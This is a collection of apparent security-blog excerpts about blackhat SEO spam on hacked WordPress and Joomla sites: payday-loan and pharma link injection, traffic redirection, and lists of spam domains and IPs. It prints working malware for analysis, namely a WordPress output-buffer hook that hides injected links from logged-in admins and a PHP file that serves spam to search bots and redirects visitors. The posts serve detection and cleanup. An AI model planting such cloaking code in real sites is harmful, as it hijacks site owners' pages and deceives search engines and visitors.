Combat Blackhat SEO Infections with SEO Insights

Blackhat SEO spam is the plague of the internet, and the big search engines take it seriously.

One of the worst spam tactics on the internet is becoming more common every day: innocent websites are hacked, and their best pages begin linking to spam. These Blackhat SEO spam tactics are fighting for expensive, high-competition keywords like: viagra, payday loans, casino… and lately a lot of high fashion spam.

This is a topic we write about often – it is rampant, after all. This time we’re going to dig into why it happens, what makes your site such an attractive target, and the SEO tools that can help you.


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Payday Loan Spam affecting Thousands of Sites

One of the most important metrics used by search engines to rank a site is the number of link backs that it has. The more links a site has for a specific keyword, the higher it will rank when someone searches for it. So if a site has a lot of links back for a keyword (say “loan”), if someone searches for “loan” it will rank very high.

That’s where SPAM SEO (Search Engine Optimization) comes int play. Instead of building content and growing a site to organically receive links back, criminals (yes, anyone that hacks someone’s else site for monetary gain is a criminal) will hack into websites and inject links that will target specific keywords.

Those links will then point to a website controlled by the attacker[s] that they want to have better ranking. Very often those links are conditional (only displayed for search engine bots) and hard to detect without a specialized scanning tool.

Payday Loan Spam

We see all types of SPAM, the most common used to be about pharma products (like Viagra  or Cialis), Cassinos online and pornographic pages. Lately, however, we have started to see a sharp increase in the number of sites injected with payday loan and money borrowing services.

The SPAM in it of itself once displayed is very simple, all it does is add a hidden link to a site to offer loans. Similar to:

<a href="httx://payday-all.co.uk/” title="Pay Day Loans Uk”>pay day loans uk</a>

When Google (or Bing) visits the compromised site it will see the link to payday-all.co.uk and increase the PR (page rank) for payday-all.co.uk. As more sites get infected and linking to payday-all, the better it will rank for keywords like “UK Pay day loan”.

Note that this type of spam is not new and we first blogged about it last year: Website Malware – Sharp Increase in SPAM Attacks – WordPress & Joomla, explaining how they were being hidden inside WordPress sites.

Over the past year, this campaign continues to grow and evolve and their techniques have also matured.

Payday Loan Spam – The domains

Most of the payday spam we are tracking seems to end in one of the following domains (by a company called Cash Advance Online or Pay Day Online):

http://paydayloansyouknow.com.au/ (216.172.52.62)
http://paydayloanstores88paycheck.com/ (216.172.52.62)
http://quickcashnowgjyourself.com/ (216.172.52.64)
http://getin10minpaydayloans.com/ (216.172.52.64)
http://cheappaydayadvancevcadvanc.com (216.172.52.64)
http://cashadvancelocationsndbusiness.com (216.172.52.64)
http://findcashadvancefor.me/ (216.172.52.63)
http://findcashadvancenow4.me/ (216.172.52.64)
http://paydayloanlendersxocomprehensive.com/ (216.172.52.60)
http://personalcashloans64long.com/ (216.172.52.67)
http://loanstillpaydayncwith.com (216.172.52.67)
http://kopainstallmentpaydayloansonline.com (216.172.52.67)
http://ukropinstantloans.com (64.191.79.185)
http://pincashadvance.com (64.191.79.185)
http://perapaydayloansonline.com (64.191.79.185)
http://kopainstallmentpaydayloansonline.com/ (64.191.79.185)
http://loronlinepersonalloans.com/ (50.115.172.170)
http://inapersonalloans.com/ (50.115.172.24)
http://paydayloans10dokp.com/ (109.206.176.120)
http://paydayloans10tilp.com/ (173.214.248.102)
http://paydayloans10ukhw.com/ (173.214.248.100)
http://paydayloansthis.com/ (109.206.176.19)
http://www.payday-hawk.co.uk/ (184.173.197.237)
http://paydayloansfromnowon.com/ (109.206.176.11)
http://cash-loans247.co.uk/ (37.1.209.107)
http://payday-all.co.uk/ (37.1.209.107)

Here are some quick stats on the IPs above:

109.206.176.11	1
109.206.176.120	1
109.206.176.19	1
173.214.248.100	1
173.214.248.102	1
184.173.197.237	1
216.172.52.60	1
216.172.52.62	2
216.172.52.63	1
216.172.52.64	5
216.172.52.67	3
37.1.209.107	2
50.115.172.170	1
50.115.172.24	1
64.191.79.185	4

and

109.206.176	3
173.214.248	2
184.173.197	1
216.172.52	12
37.1.209	2
50.115.172	2
64.191.79	4

Their templates all look the same, they try to convince the user to sign up and register with them to be pre-approved for a loan. This is the common landing page for Cash Advance Online:

Cash spam

And this is the template for Pay Day Online:

Spam cache 2

As you can see, a good and clean designed page trying to convince the user to sign up. What’s scary is the number of sites linked to them. If you do some searches on Google for the specific keywords they use:

“payday loans massachusetts” OR
“payday loan bad credit” OR
“business cash advance loans” OR
“No Fax Payday Loan”

You will find hundreds of thousands of pages linking to them. All from unrelated sites ranging from personal blogs, government sites, forums and universities.

Applying for a loan

After seeing so many sites with this spam, I felt compelled to see if can get a loan. So, I decided to try a few of them to see what would happened.

First, I filled the form that asked for a lot of personal information (Name, Address, email, Social security number, Bank information, etc). All of them denied me and redirected me to altohost.com, which in turn redirected me again to lenditfinancial.com.

http://getin10minpaydayloans.com/apply ->
https://altohost.com/system/thank.you.page/click.php?id=2610 ->

https://www.lenditfinancial.com/newcode/step2.php?referid=T3

Altohost is part of t3leads.com (affiliate marketing/tracking), so it seems the attackers are building this network of spam sites to redirect users to legitimate payment companies that offer affiliate commission (lendit Financial). Always about the money.

Payday Loan Spam – The hiding spot

As we said before, most of the spam is conditional, so a normal user visiting the site won’t see them. Only search engines (like Google or Bing) will see the malicious links added there. In addition to being conditional, the spam is also hidden via javascript. So if you are using a browser with javascript enabled, the spam will not show up.

This is the javascript used to hide the spam (that is also flagged by sitecheck):

SPAM seo push

And the attackers to do not stop there. On a WordPress site, they add the following piece of code (or similar) to inject the spam:

function b_call($b) {
if (!function_exists(“is_user_logged_in”) || is_user_logged_in() || !($m = get_option(“_metaproperty”))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace(“~<body[^>]*>~”, ‘\\0′.”\n”. $n .”\n”, $b);
$b = str_ireplace(“</head>”, $m.”\n</head>”, $b);
return $b;
}
function b_start() {
ob_start(“b_call”);
}
function b_end() {
ob_end_flush();
}
add_action(“wp_head”, “b_start”);
add_action(“wp_footer”, “b_end”);

Which will hide the code from anyone that is logged in (administrators of the site) and only display to the others. The spam content is also hidden inside the _metaproperty option inside the wp_options table.

The code changes at each new cycle of the spam, but the idea is the same. Make it harder for the owner of the site to detect and at the same time display the spam links to search engine bots.

Who is behind

It is very hard to point a specific organization or person responsible for those spam injections. The whois from all the domains is hidden and they seem to use quite a range of IP addresses. From our tests, they are pointing to affiliate links to try to make commission money from legitimate companies. So the only real way to track them is going after the legitimate lending companies and track who they are paying the money to.

Large Scale Compromises Leading to Traffic Distribution System

For the last few weeks we’ve been tracking a large scale decentralized Traffic Distribution System (TDS). It’s using hundreds of compromised sites as their first entry point. Anyone that visits the compromised sites from a search engine gets redirected to another site controlled by the attackers (most of the time with pornographic or pharmaceutical content).

For each of those redirections, the bad guys make money via affiliate commissions. Symantec explains well how those traffic distrubution systems work here: Web-Based Malware Distribution Channels: A Look at Traffic Redistribution Systems.


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WordPress SPAM Causing Headaches

It seems that SPAM is all the rave these days, wonder why, could it be because it’s a multi-million business?

In any event, detecting is always a challenge as is remediating. This is what it might look like if you use our free scanner to scan the website:

Sucuri Spam Detection

Besides some of the obvious things we have started seeing tactics used on Joomla sites on WordPress ones. They are using things like this:


&#64require_once(ABSPATH . '/wp-includes/Text/cache.php');

You’ll find this in your wp-config.php file more often than not. If you follow the cookie trail you’ll find that the cache.php contains code like this:


<?php
$uniq_ua_string=@$_SERVER['HTTP_USER_AGENT'];
$uniq_ref=@$_SERVER["HTTP_REFERER"];
$is_human=1;
if (stristr($uniq_ua_string,"googlebot"))$is_human=0;
if (stristr($uniq_ua_string,"bing"))$is_human=0;
if (stristr($uniq_ua_string,"yahoo"))$is_human=0;
if(@$is_human == 0 && preg_match('/^\/(?:index\.(?:php|html?))?$/', @$_SERVER['REQUEST_URI'])) {
@readfile(dirname(__FILE__)."/css.php");
exit;
}
if(preg_match('/viagra/i', $uniq_ref) > 0) {header("Location: http://vaptk.com/in.php?t=v&s=1");exit;}

?>

If you follow the trail further and go to the css.php file you’ll find all kinds of goodies that will be of particular interest:

Sucuri SPAM Payload

What can I say, sometimes it’s all about following the cookie trail.

When removing be sure to remove the &#64require_once and the payload as well. The good news is if you’re running our plugin you’ll quickly identify an integrity issue in wp-includes and wp-config that will allow you to quickly act to rectify the issue. Because of the time of injection we’d venture to say that the vector is likely compromised credentials to the server, likely via FTP.


Any questions let us know.

Website Malware – Joomla SEP Attack – Pharma Injection

This was a fun, yet painful case. In the past we have written a few different posts targeting search engine poisoning attacks (SEP) that like to use Pharmaceutical keywords and their associated links to poison your search engine results.

Today we had an interesting scenario where Google had not yet blacklisted the client, but our free scanner, SiteCheck, was in fact picking up the injection. From what we could see it was being triggered by a referrer but it wasn’t the typical referrers you’d expect, it’s condition was if it came from itself.

If you’re wondering why that is, allow me to explain. That meant that the payload would not show up the first time you visit the page, only when you visit the same page and the referrer was set to itself. This actually a very good evasive technique, it would make detection that much harder by most conventional scanners. In short, if the user clicks on the paeg once, it wouldn’t appear. This makes it very hard to detect and replicate unless you start testing every option. In this case, it wasn’t until you clicked on the option two consecutive times that the injections would appear.

You could try any other variation and it’d never work, only if you clicked on it two consecutive times. How annoying is that !!! This probably explains why Google and many others never picked it up.

In either event, this was a Joomla site and so the question was, where the heck is this thing.

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Website Malware – SPAM Injections – HideMe – KickeMe

Every now and then you have to give thanks that attackers have a sense of humor.

For the past few weeks, maybe months, who keeps track of time anyway, we have been seeing this injection and it makes us giggle like school girls every time.

If you look a little harder you’ll usually find it’s accompanied by this JavaScript injection:



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Website Malware – SEO Poisoning

We’ve been seeing a lot of cases of SEO poisoning as of late and felt it was time to spend a little more time explaining it. That’s what this post will be about.

SEO, short for Search Engine Optimization is all the rave these days. Anybody that owns a website and is trying to make an impact or working to improve their traffic has heard the term, and has undoubtedly become an SEO expert. If you’re not familiar with SEO here is your quick definition:

…the process of affecting the visibility of a website or a web page in a search engine’s “natural” or un-paid (“organic”) search results.. – Source: Wikipedia

Many organizations will actually enlist the help of marketing consultants to assist in this optimization process and ranking on the first page is highly coveted by many. In essence, if you are able to rank on the first page for a specific keyword, phrase, subject, etc… you have the ability to generate a lot of traffic to your site. This in turn increasing the odds of visits, and if you’re an e-commerce site often equates to purchases, and if you’re a services company often equates to new clients. The idea is simple and highly effective, and what is even better is that most search engines like Bing, Yahoo and Google offer set criteria’s designed to improve your ranking within their searches.

It all sounds pretty awesome right?

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Joomla Pharma Hack – Web Malware Removal

In my last SEO poisoning post I wrote about some really nasty conditional malware. In this one, we’re going to revert our attention to the more common variation of the attack, and look at the Joomla CMS.

Joomla Pharma Hack

This variation will be the Pharma hack. As of late, it seems to be going on a rampage on a number of CMS applications and many of its characteristics are similar. The objective appears to be clear though, find its way into Google’s search engine result pages (SERP).

While we can only speculate, the idea is simple – The SERPs are a cached product and as long as they keep the injections benign of malware they increase their odds of bypassing detection until someone spots it and reports.

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SiteCheck – Got Blackhat SEO Spam Warning?

As of late it seems like we’re talking about a lot of SPAM related cases, this post will be no different.

Blackhat SEO

Before you start, let me preface this by saying that clearing a Blackhat SEO Spam injection is probably the biggest PITA (Google It) infection there is. They constantly evolve, making them difficult to detect and they employ both new and old techniques that, even after years, still prove to be annoying. This post will demonstrate one such case.

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Pharma Hack Backdoor Analyzed – PHP5.PHP

Some of you might remember my last Pharma hack post, Intelligent (Pharma) SPAM Decoded, today I will spend some time looking a different variant of the same infection type but focus on a payload that is not encoded or embedded within an existing file, instead it resides in its own file – PHP5.php.

“Hmm, maybe it’s a good / system file, it does have PHP in it, I won’t bother looking at it…”

If you have ever come across this file and find yourself thinking this, we highly encourage you not to and take a minute to see if any of its components resemble what we’re about to share.

Dissecting the Payload


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